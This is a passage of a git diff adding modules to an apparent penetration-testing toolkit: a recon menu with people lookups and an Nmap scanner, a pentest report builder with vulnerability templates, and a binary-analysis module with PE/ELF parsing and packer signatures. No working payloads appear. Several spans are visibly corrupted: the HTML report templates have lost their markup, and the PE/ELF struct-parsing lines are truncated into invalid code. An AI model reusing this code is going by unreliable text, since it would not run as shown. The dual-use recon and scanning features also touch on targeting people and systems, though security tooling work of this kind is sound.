Stats") + print(f" {Colors.CYAN}[X]{Colors.RESET} Nmap Scanner") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.email_lookup() + elif choice == "2": + self.email_permutator() + elif choice == "3": + self.username_lookup() + elif choice == "4": + username = input(f"\n{Colors.WHITE}Enter username: {Colors.RESET}").strip() + if username: + self.social_analyzer_search(username) + elif choice == "5": + self.phone_lookup() + elif choice == "6": + self.domain_info() + elif choice == "7": + self.ip_info() + elif choice == "8": + self.subdomain_enum() + elif choice == "9": + self.tech_detect() + elif choice.lower() == "g": + self.run_geoip_module() + elif choice.lower() == "y": + self.run_yandex_module() + elif choice.lower() == "n": + self.run_network_test() + elif choice.lower() == "s": + self.run_snoop_decoder() + elif choice.lower() == "d": + self.show_sites_db_stats() + elif choice.lower() == "r": + self.run_dossier_manager() + elif choice.lower() == "x": + self.nmap_scanner() + elif choice.lower() == "w": + self.network_mapper() + elif choice.lower() == "h": + self.web_scanner() + elif choice.lower() == "v": + self.vuln_correlator() + + if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9", + "g", "y", "n", "G", "Y", "N", "x", "X", + "w", "W", "h", "H", "v", "V"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Recon().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/report_engine.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/report_engine.py new file mode 100644 index 0000000..3f333df --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/report_engine.py @@ -0,0 +1,499 @@ +"""AUTARCH Reporting Engine + +Structured pentest report builder with findings, CVSS scoring, evidence, +and export to HTML/Markdown/JSON. +""" + +DESCRIPTION = "Pentest report builder & exporter" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import json +import time +import uuid +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field, asdict +import threading + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Finding Severity & CVSS ────────────────────────────────────────────────── + +SEVERITY_MAP = { + 'critical': {'color': '#dc2626', 'score_range': '9.0-10.0', 'order': 0}, + 'high': {'color': '#ef4444', 'score_range': '7.0-8.9', 'order': 1}, + 'medium': {'color': '#f59e0b', 'score_range': '4.0-6.9', 'order': 2}, + 'low': {'color': '#22c55e', 'score_range': '0.1-3.9', 'order': 3}, + 'info': {'color': '#6366f1', 'score_range': '0.0', 'order': 4}, +} + +FINDING_TEMPLATES = [ + { + 'id': 'sqli', + 'title': 'SQL Injection', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The application is vulnerable to SQL injection, allowing an attacker to manipulate database queries.', + 'impact': 'Complete database compromise, data exfiltration, authentication bypass, potential remote code execution.', + 'remediation': 'Use parameterized queries/prepared statements. Implement input validation and WAF rules.', + 'references': ['OWASP Top 10: A03:2021', 'CWE-89'], + }, + { + 'id': 'xss', + 'title': 'Cross-Site Scripting (XSS)', + 'severity': 'high', + 'cvss': 7.5, + 'description': 'The application reflects user input without proper sanitization, enabling script injection.', + 'impact': 'Session hijacking, credential theft, defacement, malware distribution.', + 'remediation': 'Encode all output, implement Content-Security-Policy, use framework auto-escaping.', + 'references': ['OWASP Top 10: A03:2021', 'CWE-79'], + }, + { + 'id': 'broken_auth', + 'title': 'Broken Authentication', + 'severity': 'critical', + 'cvss': 9.1, + 'description': 'Authentication mechanisms can be bypassed or abused to gain unauthorized access.', + 'impact': 'Account takeover, privilege escalation, unauthorized data access.', + 'remediation': 'Implement MFA, rate limiting, secure session management, strong password policies.', + 'references': ['OWASP Top 10: A07:2021', 'CWE-287'], + }, + { + 'id': 'idor', + 'title': 'Insecure Direct Object Reference (IDOR)', + 'severity': 'high', + 'cvss': 7.5, + 'description': 'The application exposes internal object references that can be manipulated to access unauthorized resources.', + 'impact': 'Unauthorized access to other users\' data, horizontal privilege escalation.', + 'remediation': 'Implement proper access control checks, use indirect references.', + 'references': ['OWASP Top 10: A01:2021', 'CWE-639'], + }, + { + 'id': 'missing_headers', + 'title': 'Missing Security Headers', + 'severity': 'low', + 'cvss': 3.1, + 'description': 'The application does not implement recommended security headers.', + 'impact': 'Increased attack surface for clickjacking, MIME sniffing, and XSS attacks.', + 'remediation': 'Implement CSP, X-Frame-Options, X-Content-Type-Options, HSTS headers.', + 'references': ['OWASP Secure Headers Project'], + }, + { + 'id': 'weak_ssl', + 'title': 'Weak SSL/TLS Configuration', + 'severity': 'medium', + 'cvss': 5.3, + 'description': 'The server supports weak SSL/TLS protocols or cipher suites.', + 'impact': 'Potential for traffic interception via downgrade attacks.', + 'remediation': 'Disable TLS 1.0/1.1, remove weak ciphers, enable HSTS.', + 'references': ['CWE-326', 'NIST SP 800-52'], + }, + { + 'id': 'info_disclosure', + 'title': 'Information Disclosure', + 'severity': 'medium', + 'cvss': 5.0, + 'description': 'The application reveals sensitive information such as server versions, stack traces, or internal paths.', + 'impact': 'Aids attackers in fingerprinting and planning targeted attacks.', + 'remediation': 'Remove version headers, disable debug modes, implement custom error pages.', + 'references': ['CWE-200'], + }, + { + 'id': 'default_creds', + 'title': 'Default Credentials', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The system uses default or well-known credentials that have not been changed.', + 'impact': 'Complete system compromise with minimal effort.', + 'remediation': 'Enforce password change on first login, remove default accounts.', + 'references': ['CWE-798'], + }, + { + 'id': 'eternalblue', + 'title': 'MS17-010 (EternalBlue)', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The target is vulnerable to the EternalBlue SMB exploit (MS17-010).', + 'impact': 'Remote code execution with SYSTEM privileges, wormable exploit.', + 'remediation': 'Apply Microsoft patch MS17-010, disable SMBv1.', + 'references': ['CVE-2017-0144', 'MS17-010'], + }, + { + 'id': 'open_ports', + 'title': 'Unnecessary Open Ports', + 'severity': 'low', + 'cvss': 3.0, + 'description': 'The target exposes network services that are not required for operation.', + 'impact': 'Increased attack surface, potential exploitation of exposed services.', + 'remediation': 'Close unnecessary ports, implement firewall rules, use network segmentation.', + 'references': ['CIS Benchmarks'], + }, +] + + +# ── Report Engine ───────────────────────────────────────────────────────────── + +class ReportEngine: + """Pentest report builder with findings management and export.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'reports') + os.makedirs(self._data_dir, exist_ok=True) + + # ── Report CRUD ─────────────────────────────────────────────────────── + + def create_report(self, title: str, client: str = '', + scope: str = '', methodology: str = '') -> dict: + """Create a new report.""" + report_id = str(uuid.uuid4())[:8] + report = { + 'id': report_id, + 'title': title, + 'client': client, + 'scope': scope, + 'methodology': methodology or 'OWASP Testing Guide v4.2 / PTES', + 'executive_summary': '', + 'findings': [], + 'created_at': datetime.now(timezone.utc).isoformat(), + 'updated_at': datetime.now(timezone.utc).isoformat(), + 'status': 'draft', + 'author': 'AUTARCH', + } + self._save_report(report) + return {'ok': True, 'report': report} + + def get_report(self, report_id: str) -> Optional[dict]: + path = os.path.join(self._data_dir, f'{report_id}.json') + if not os.path.exists(path): + return None + with open(path, 'r') as f: + return json.load(f) + + def update_report(self, report_id: str, updates: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + for k, v in updates.items(): + if k in report and k not in ('id', 'created_at'): + report[k] = v + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'report': report} + + def delete_report(self, report_id: str) -> dict: + path = os.path.join(self._data_dir, f'{report_id}.json') + if os.path.exists(path): + os.remove(path) + return {'ok': True} + return {'ok': False, 'error': 'Report not found'} + + def list_reports(self) -> List[dict]: + reports = [] + for f in Path(self._data_dir).glob('*.json'): + try: + with open(f, 'r') as fh: + r = json.load(fh) + reports.append({ + 'id': r['id'], + 'title': r['title'], + 'client': r.get('client', ''), + 'status': r.get('status', 'draft'), + 'findings_count': len(r.get('findings', [])), + 'created_at': r.get('created_at', ''), + 'updated_at': r.get('updated_at', ''), + }) + except Exception: + continue + reports.sort(key=lambda r: r.get('updated_at', ''), reverse=True) + return reports + + # ── Finding Management ──────────────────────────────────────────────── + + def add_finding(self, report_id: str, finding: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + finding['id'] = str(uuid.uuid4())[:8] + finding.setdefault('severity', 'medium') + finding.setdefault('cvss', 5.0) + finding.setdefault('status', 'open') + finding.setdefault('evidence', []) + report['findings'].append(finding) + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'finding': finding} + + def update_finding(self, report_id: str, finding_id: str, + updates: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + for f in report['findings']: + if f['id'] == finding_id: + for k, v in updates.items(): + if k != 'id': + f[k] = v + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'finding': f} + return {'ok': False, 'error': 'Finding not found'} + + def delete_finding(self, report_id: str, finding_id: str) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + report['findings'] = [f for f in report['findings'] + if f['id'] != finding_id] + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True} + + def get_finding_templates(self) -> List[dict]: + return FINDING_TEMPLATES + + # ── Export ──────────────────────────────────────────────────────────── + + def export_html(self, report_id: str) -> Optional[str]: + """Export report as styled HTML.""" + report = self.get_report(report_id) + if not report: + return None + + findings_html = '' + sorted_findings = sorted(report.get('findings', []), + key=lambda f: SEVERITY_MAP.get(f.get('severity', 'info'), {}).get('order', 5)) + for i, f in enumerate(sorted_findings, 1): + sev = f.get('severity', 'info') + color = SEVERITY_MAP.get(sev, {}).get('color', '#666') + findings_html += f''' +
+

{i}. {_esc(f.get('title', 'Untitled'))}

+
+ {sev.upper()} + CVSS: {f.get('cvss', 'N/A')} + Status: {f.get('status', 'open')} +
+

Description

{_esc(f.get('description', ''))}

+

Impact

{_esc(f.get('impact', ''))}

+

Remediation

{_esc(f.get('remediation', ''))}

+ {'

Evidence

' + _esc(chr(10).join(f.get('evidence', []))) + '
' if f.get('evidence') else ''} + {'

References

    ' + ''.join('
  • ' + _esc(r) + '
  • ' for r in f.get('references', [])) + '
' if f.get('references') else ''} +
''' + + # Summary stats + severity_counts = {} + for f in report.get('findings', []): + s = f.get('severity', 'info') + severity_counts[s] = severity_counts.get(s, 0) + 1 + + summary_html = '
' + for sev in ['critical', 'high', 'medium', 'low', 'info']: + count = severity_counts.get(sev, 0) + color = SEVERITY_MAP.get(sev, {}).get('color', '#666') + summary_html += f'
{count}{sev.upper()}
' + summary_html += '
' + + html = f''' +{_esc(report.get('title', 'Report'))} + +

{_esc(report.get('title', 'Penetration Test Report'))}

+
+
Client: {_esc(report.get('client', 'N/A'))}
+
Date: {report.get('created_at', '')[:10]}
+
Author: {_esc(report.get('author', 'AUTARCH'))}
+
Status: {report.get('status', 'draft').upper()}
+
+ +

Executive Summary

+

{_esc(report.get('executive_summary', 'No executive summary provided.'))}

+ +

Scope

+

{_esc(report.get('scope', 'No scope defined.'))}

+ +

Methodology

+

{_esc(report.get('methodology', ''))}

+ +

Findings Overview

+{summary_html} + +

Detailed Findings

+{findings_html if findings_html else '

No findings recorded.

'} + + +''' + return html + + def export_markdown(self, report_id: str) -> Optional[str]: + """Export report as Markdown.""" + report = self.get_report(report_id) + if not report: + return None + + md = f"# {report.get('title', 'Report')}\n\n" + md += f"**Client:** {report.get('client', 'N/A')} \n" + md += f"**Date:** {report.get('created_at', '')[:10]} \n" + md += f"**Author:** {report.get('author', 'AUTARCH')} \n" + md += f"**Status:** {report.get('status', 'draft')} \n\n" + + md += "## Executive Summary\n\n" + md += report.get('executive_summary', 'N/A') + "\n\n" + + md += "## Scope\n\n" + md += report.get('scope', 'N/A') + "\n\n" + + md += "## Findings\n\n" + sorted_findings = sorted(report.get('findings', []), + key=lambda f: SEVERITY_MAP.get(f.get('severity', 'info'), {}).get('order', 5)) + for i, f in enumerate(sorted_findings, 1): + md += f"### {i}. [{f.get('severity', 'info').upper()}] {f.get('title', 'Untitled')}\n\n" + md += f"**CVSS:** {f.get('cvss', 'N/A')} | **Status:** {f.get('status', 'open')}\n\n" + md += f"**Description:** {f.get('description', '')}\n\n" + md += f"**Impact:** {f.get('impact', '')}\n\n" + md += f"**Remediation:** {f.get('remediation', '')}\n\n" + if f.get('evidence'): + md += "**Evidence:**\n```\n" + '\n'.join(f['evidence']) + "\n```\n\n" + if f.get('references'): + md += "**References:** " + ', '.join(f['references']) + "\n\n" + md += "---\n\n" + + md += f"\n*Generated by AUTARCH — {datetime.now(timezone.utc).strftime('%Y-%m-%d')}*\n" + return md + + def export_json(self, report_id: str) -> Optional[str]: + report = self.get_report(report_id) + if not report: + return None + return json.dumps(report, indent=2) + + # ── Internal ────────────────────────────────────────────────────────── + + def _save_report(self, report: dict): + path = os.path.join(self._data_dir, f'{report["id"]}.json') + with open(path, 'w') as f: + json.dump(report, f, indent=2) + + +def _esc(s: str) -> str: + return (s or '').replace('&', '&').replace('<', '<').replace('>', '>') + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_report_engine() -> ReportEngine: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = ReportEngine() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Reporting Engine.""" + svc = get_report_engine() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ REPORTING ENGINE ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — List Reports ║") + print("║ 2 — Create Report ║") + print("║ 3 — Add Finding ║") + print("║ 4 — Export Report ║") + print("║ 5 — Finding Templates ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + reports = svc.list_reports() + if not reports: + print("\n No reports.") + continue + for r in reports: + print(f" [{r['id']}] {r['title']} — {r['findings_count']} findings " + f"({r['status']}) {r['updated_at'][:10]}") + elif choice == '2': + title = input(" Report title: ").strip() + client = input(" Client name: ").strip() + scope = input(" Scope: ").strip() + r = svc.create_report(title, client, scope) + print(f" Created report: {r['report']['id']}") + elif choice == '3': + rid = input(" Report ID: ").strip() + print(" Available templates:") + for i, t in enumerate(FINDING_TEMPLATES, 1): + print(f" {i}. [{t['severity'].upper()}] {t['title']}") + sel = input(" Template # (0 for custom): ").strip() + if sel and sel != '0': + idx = int(sel) - 1 + if 0 <= idx < len(FINDING_TEMPLATES): + f = FINDING_TEMPLATES[idx].copy() + f.pop('id', None) + r = svc.add_finding(rid, f) + if r['ok']: + print(f" Added: {f['title']}") + else: + title = input(" Title: ").strip() + severity = input(" Severity (critical/high/medium/low/info): ").strip() + desc = input(" Description: ").strip() + r = svc.add_finding(rid, {'title': title, 'severity': severity, + 'description': desc}) + if r['ok']: + print(f" Added finding: {r['finding']['id']}") + elif choice == '4': + rid = input(" Report ID: ").strip() + fmt = input(" Format (html/markdown/json): ").strip() or 'html' + if fmt == 'html': + content = svc.export_html(rid) + elif fmt == 'markdown': + content = svc.export_markdown(rid) + else: + content = svc.export_json(rid) + if content: + ext = {'html': 'html', 'markdown': 'md', 'json': 'json'}.get(fmt, 'txt') + outpath = os.path.join(svc._data_dir, f'{rid}.{ext}') + with open(outpath, 'w') as f: + f.write(content) + print(f" Exported to: {outpath}") + else: + print(" Report not found.") + elif choice == '5': + for t in FINDING_TEMPLATES: + print(f" [{t['severity'].upper():8s}] {t['title']} (CVSS {t['cvss']})") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/reverse_eng.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/reverse_eng.py new file mode 100644 index 0000000..658e63b --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/reverse_eng.py @@ -0,0 +1,1979 @@ +"""AUTARCH Reverse Engineering Toolkit + +Binary analysis, PE/ELF parsing, disassembly, YARA scanning, +hex viewing, packer detection, and Ghidra headless integration. +""" + +DESCRIPTION = "Binary analysis, disassembly & reverse engineering" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import sys +import re +import math +import json +import struct +import hashlib +import subprocess +import tempfile +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any, Tuple + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + def find_tool(name, extra_paths=None): + import shutil + return shutil.which(name) + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + CYAN = BOLD = GREEN = YELLOW = RED = WHITE = DIM = RESET = "" + def clear_screen(): pass + def display_banner(): pass + +# Optional: capstone disassembler +try: + import capstone + HAS_CAPSTONE = True +except ImportError: + HAS_CAPSTONE = False + +# Optional: yara-python +try: + import yara + HAS_YARA = True +except ImportError: + HAS_YARA = False + + +# ── Magic Bytes ────────────────────────────────────────────────────────────── + +MAGIC_BYTES = { + b'\x4d\x5a': 'PE', + b'\x7fELF': 'ELF', + b'\xfe\xed\xfa\xce': 'Mach-O (32-bit)', + b'\xfe\xed\xfa\xcf': 'Mach-O (64-bit)', + b'\xce\xfa\xed\xfe': 'Mach-O (32-bit, reversed)', + b'\xcf\xfa\xed\xfe': 'Mach-O (64-bit, reversed)', + b'\xca\xfe\xba\xbe': 'Mach-O (Universal)', + b'\x50\x4b\x03\x04': 'ZIP/JAR/APK/DOCX', + b'\x50\x4b\x05\x06': 'ZIP (empty)', + b'\x25\x50\x44\x46': 'PDF', + b'\xd0\xcf\x11\xe0': 'OLE2 (DOC/XLS/PPT)', + b'\x89\x50\x4e\x47': 'PNG', + b'\xff\xd8\xff': 'JPEG', + b'\x47\x49\x46\x38': 'GIF', + b'\x1f\x8b': 'GZIP', + b'\x42\x5a\x68': 'BZIP2', + b'\xfd\x37\x7a\x58': 'XZ', + b'\x37\x7a\xbc\xaf': '7-Zip', + b'\x52\x61\x72\x21': 'RAR', + b'\xca\xfe\xba\xbe': 'Java Class / Mach-O Universal', + b'\x7f\x45\x4c\x46': 'ELF', + b'\x23\x21': 'Script (shebang)', + b'\x00\x61\x73\x6d': 'WebAssembly', + b'\xed\xab\xee\xdb': 'RPM', + b'\x21\x3c\x61\x72': 'Debian/AR archive', +} + + +# ── Packer Signatures ─────────────────────────────────────────────────────── + +PACKER_SIGNATURES = { + 'UPX': { + 'section_names': [b'UPX0', b'UPX1', b'UPX2', b'UPX!'], + 'magic': [b'UPX!', b'UPX0', b'\x55\x50\x58'], + 'description': 'Ultimate Packer for Executables', + }, + 'Themida': { + 'section_names': [b'.themida', b'.winlice'], + 'magic': [], + 'description': 'Themida / WinLicense protector', + }, + 'ASPack': { + 'section_names': [b'.aspack', b'.adata'], + 'magic': [b'\x60\xe8\x00\x00\x00\x00\x5d\x81\xed'], + 'description': 'ASPack packer', + }, + 'MPRESS': { + 'section_names': [b'.MPRESS1', b'.MPRESS2'], + 'magic': [], + 'description': 'MPRESS packer', + }, + 'VMProtect': { + 'section_names': [b'.vmp0', b'.vmp1', b'.vmp2'], + 'magic': [], + 'description': 'VMProtect software protection', + }, + 'PECompact': { + 'section_names': [b'PEC2', b'pec1', b'pec2', b'PEC2TO'], + 'magic': [], + 'description': 'PECompact packer', + }, + 'Petite': { + 'section_names': [b'.petite'], + 'magic': [b'\xb8\x00\x00\x00\x00\x66\x9c\x60\x50'], + 'description': 'Petite packer', + }, + 'NSPack': { + 'section_names': [b'.nsp0', b'.nsp1', b'.nsp2', b'nsp0', b'nsp1'], + 'magic': [], + 'description': 'NSPack (North Star) packer', + }, + 'Enigma': { + 'section_names': [b'.enigma1', b'.enigma2'], + 'magic': [], + 'description': 'Enigma Protector', + }, + 'MEW': { + 'section_names': [b'MEW'], + 'magic': [], + 'description': 'MEW packer', + }, +} + + +# ── PE Constants ───────────────────────────────────────────────────────────── + +PE_MACHINE_TYPES = { + 0x0: 'Unknown', + 0x14c: 'x86 (i386)', + 0x166: 'MIPS R4000', + 0x1a2: 'Hitachi SH3', + 0x1a6: 'Hitachi SH4', + 0x1c0: 'ARM', + 0x1c4: 'ARM Thumb-2', + 0x200: 'Intel IA-64', + 0x8664: 'x86-64 (AMD64)', + 0xaa64: 'ARM64 (AArch64)', + 0x5032: 'RISC-V 32-bit', + 0x5064: 'RISC-V 64-bit', +} + +PE_SECTION_FLAGS = { + 0x00000020: 'CODE', + 0x00000040: 'INITIALIZED_DATA', + 0x00000080: 'UNINITIALIZED_DATA', + 0x02000000: 'DISCARDABLE', + 0x04000000: 'NOT_CACHED', + 0x08000000: 'NOT_PAGED', + 0x10000000: 'SHARED', + 0x20000000: 'EXECUTE', + 0x40000000: 'READ', + 0x80000000: 'WRITE', +} + + +# ── ELF Constants ──────────────────────────────────────────────────────────── + +ELF_MACHINE_TYPES = { + 0: 'None', + 2: 'SPARC', + 3: 'x86', + 8: 'MIPS', + 20: 'PowerPC', + 21: 'PowerPC64', + 40: 'ARM', + 43: 'SPARC V9', + 50: 'IA-64', + 62: 'x86-64', + 183: 'AArch64 (ARM64)', + 243: 'RISC-V', + 247: 'eBPF', +} + +ELF_TYPES = {0: 'NONE', 1: 'REL', 2: 'EXEC', 3: 'DYN', 4: 'CORE'} + +ELF_OSABI = { + 0: 'UNIX System V', 1: 'HP-UX', 2: 'NetBSD', 3: 'Linux', + 6: 'Solaris', 7: 'AIX', 8: 'IRIX', 9: 'FreeBSD', 12: 'OpenBSD', +} + +ELF_SH_TYPES = { + 0: 'NULL', 1: 'PROGBITS', 2: 'SYMTAB', 3: 'STRTAB', 4: 'RELA', + 5: 'HASH', 6: 'DYNAMIC', 7: 'NOTE', 8: 'NOBITS', 9: 'REL', + 11: 'DYNSYM', +} + +ELF_PT_TYPES = { + 0: 'NULL', 1: 'LOAD', 2: 'DYNAMIC', 3: 'INTERP', 4: 'NOTE', + 5: 'SHLIB', 6: 'PHDR', 7: 'TLS', + 0x6474e550: 'GNU_EH_FRAME', 0x6474e551: 'GNU_STACK', + 0x6474e552: 'GNU_RELRO', 0x6474e553: 'GNU_PROPERTY', +} + + +# ── ReverseEngineer Class ──────────────────────────────────────────────────── + +class ReverseEngineer: + """Comprehensive binary analysis and reverse engineering toolkit.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() if callable(get_data_dir) else get_data_dir + self.storage_dir = Path(str(data_dir)) / 'reverse_eng' + self.yara_rules_dir = self.storage_dir / 'yara_rules' + self.cache_dir = self.storage_dir / 'cache' + self.storage_dir.mkdir(parents=True, exist_ok=True) + self.yara_rules_dir.mkdir(parents=True, exist_ok=True) + self.cache_dir.mkdir(parents=True, exist_ok=True) + self._analysis_cache: Dict[str, Any] = {} + + # ── File Type Detection ────────────────────────────────────────────── + + def get_file_type(self, file_path: str) -> Dict[str, str]: + """Identify file type from magic bytes.""" + p = Path(file_path) + if not p.exists() or not p.is_file(): + return {'type': 'unknown', 'error': 'File not found'} + + try: + with open(p, 'rb') as f: + header = f.read(16) + except Exception as e: + return {'type': 'unknown', 'error': str(e)} + + if len(header) < 2: + return {'type': 'empty', 'description': 'File too small'} + + # Check magic bytes, longest match first + for magic, file_type in sorted(MAGIC_BYTES.items(), key=lambda x: -len(x[0])): + if header[:len(magic)] == magic: + return {'type': file_type, 'magic_hex': magic.hex()} + + # Heuristic: check if text file + try: + with open(p, 'rb') as f: + sample = f.read(8192) + text_chars = set(range(7, 14)) | set(range(32, 127)) | {0} + non_text = sum(1 for b in sample if b not in text_chars) + if non_text / max(len(sample), 1) < 0.05: + return {'type': 'Text', 'description': 'ASCII/UTF-8 text file'} + except Exception: + pass + + return {'type': 'unknown', 'magic_hex': header[:8].hex()} + + # ── Entropy Calculation ────────────────────────────────────────────── + + def calculate_entropy(self, data: bytes) -> float: + """Calculate Shannon entropy of byte data. Returns 0.0 to 8.0.""" + if not data: + return 0.0 + freq = [0] * 256 + for b in data: + freq[b] += 1 + length = len(data) + entropy = 0.0 + for count in freq: + if count > 0: + p = count / length + entropy -= p * math.log2(p) + return round(entropy, 4) + + def section_entropy(self, file_path: str) -> List[Dict[str, Any]]: + """Calculate entropy per section for PE/ELF binaries.""" + ft = self.get_file_type(file_path) + file_type = ft.get('type', '') + + results = [] + if file_type == 'PE': + pe_info = self.parse_pe(file_path) + if 'error' not in pe_info: + with open(file_path, 'rb') as f: + for sec in pe_info.get('sections', []): + offset = sec.get('raw_offset', 0) + size = sec.get('raw_size', 0) + if size > 0 and offset > 0: + f.seek(offset) + data = f.read(size) + ent = self.calculate_entropy(data) + results.append({ + 'name': sec.get('name', ''), + 'offset': offset, + 'size': size, + 'entropy': ent, + 'packed': ent > 7.0, + }) + elif file_type == 'ELF': + elf_info = self.parse_elf(file_path) + if 'error' not in elf_info: + with open(file_path, 'rb') as f: + for sec in elf_info.get('sections', []): + offset = sec.get('offset', 0) + size = sec.get('size', 0) + if size > 0 and offset > 0: + f.seek(offset) + data = f.read(size) + ent = self.calculate_entropy(data) + results.append({ + 'name': sec.get('name', ''), + 'offset': offset, + 'size': size, + 'entropy': ent, + 'packed': ent > 7.0, + }) + return results + + # ── Comprehensive Binary Analysis ──────────────────────────────────── + + def analyze_binary(self, file_path: str) -> Dict[str, Any]: + """Comprehensive binary analysis: type, hashes, entropy, strings, architecture.""" + p = Path(file_path) + if not p.exists() or not p.is_file(): + return {'error': f'File not found: {file_path}'} + + stat = p.stat() + + # Read file data + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': f'Cannot read file: {e}'} + + # File type + file_type = self.get_file_type(file_path) + + # Hashes + hashes = { + 'md5': hashlib.md5(data).hexdigest(), + 'sha1': hashlib.sha1(data).hexdigest(), + 'sha256': hashlib.sha256(data).hexdigest(), + } + + # Overall entropy + overall_entropy = self.calculate_entropy(data) + + # Section entropy + sec_entropy = self.section_entropy(file_path) + + # Architecture detection + arch = 'unknown' + ftype = file_type.get('type', '') + if ftype == 'PE': + pe = self.parse_pe(file_path) + arch = pe.get('machine_str', 'unknown') + elif ftype == 'ELF': + elf = self.parse_elf(file_path) + arch = elf.get('machine_str', 'unknown') + + # Extract strings (limited to first 1MB for speed) + sample = data[:1024 * 1024] + strings = self._extract_strings_from_data(sample, min_length=4) + + # Packer detection + packer = self.detect_packer(file_path) + + result = { + 'file': str(p.absolute()), + 'name': p.name, + 'size': stat.st_size, + 'size_human': self._human_size(stat.st_size), + 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(), + 'created': datetime.fromtimestamp(stat.st_ctime).isoformat(), + 'file_type': file_type, + 'architecture': arch, + 'hashes': hashes, + 'entropy': overall_entropy, + 'entropy_level': 'high' if overall_entropy > 7.0 else ('medium' if overall_entropy > 6.0 else 'low'), + 'section_entropy': sec_entropy, + 'strings_count': len(strings), + 'strings_preview': strings[:100], + 'packer': packer, + } + + # Add imports/exports if applicable + if ftype == 'PE': + result['imports'] = self.get_imports(file_path) + result['exports'] = self.get_exports(file_path) + elif ftype == 'ELF': + result['imports'] = self.get_imports(file_path) + result['exports'] = self.get_exports(file_path) + + # Cache result + self._analysis_cache[file_path] = result + return result + + # ── PE Parsing ─────────────────────────────────────────────────────── + + def parse_pe(self, file_path: str) -> Dict[str, Any]: + """Parse PE (Portable Executable) headers using struct.unpack.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': str(e)} + + if len(data) < 64 or data[:2] != b'\x4d\x5a': + return {'error': 'Not a valid PE file (missing MZ header)'} + + # DOS Header + e_lfanew = struct.unpack_from(' len(data): + return {'error': 'Invalid PE offset'} + + # PE Signature + pe_sig = data[e_lfanew:e_lfanew + 4] + if pe_sig != b'PE\x00\x00': + return {'error': 'Invalid PE signature'} + + # COFF Header (20 bytes after PE signature) + coff_offset = e_lfanew + 4 + if coff_offset + 20 > len(data): + return {'error': 'Truncated COFF header'} + + machine, num_sections, time_stamp, sym_table_ptr, num_symbols, \ + opt_header_size, characteristics = struct.unpack_from( + ' len(data): + return {'error': 'Truncated optional header'} + + opt_magic = struct.unpack_from(' len(data): + break + name_raw = data[off:off + 8] + name = name_raw.rstrip(b'\x00').decode('ascii', errors='replace') + vsize, vaddr, raw_size, raw_offset, reloc_ptr, linenum_ptr, \ + num_relocs, num_linenums, chars = struct.unpack_from( + ' Dict[str, Any]: + """Parse ELF (Executable and Linkable Format) headers using struct.unpack.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': str(e)} + + if len(data) < 16 or data[:4] != b'\x7fELF': + return {'error': 'Not a valid ELF file'} + + # ELF Identification + ei_class = data[4] # 1=32-bit, 2=64-bit + ei_data = data[5] # 1=little-endian, 2=big-endian + ei_version = data[6] + ei_osabi = data[7] + + is_64 = (ei_class == 2) + endian = '<' if ei_data == 1 else '>' + bits_str = '64-bit' if is_64 else '32-bit' + endian_str = 'Little Endian' if ei_data == 1 else 'Big Endian' + + # ELF Header + if is_64: + if len(data) < 64: + return {'error': 'Truncated ELF64 header'} + e_type, e_machine, e_version, e_entry, e_phoff, e_shoff, \ + e_flags, e_ehsize, e_phentsize, e_phnum, e_shentsize, \ + e_shnum, e_shstrndx = 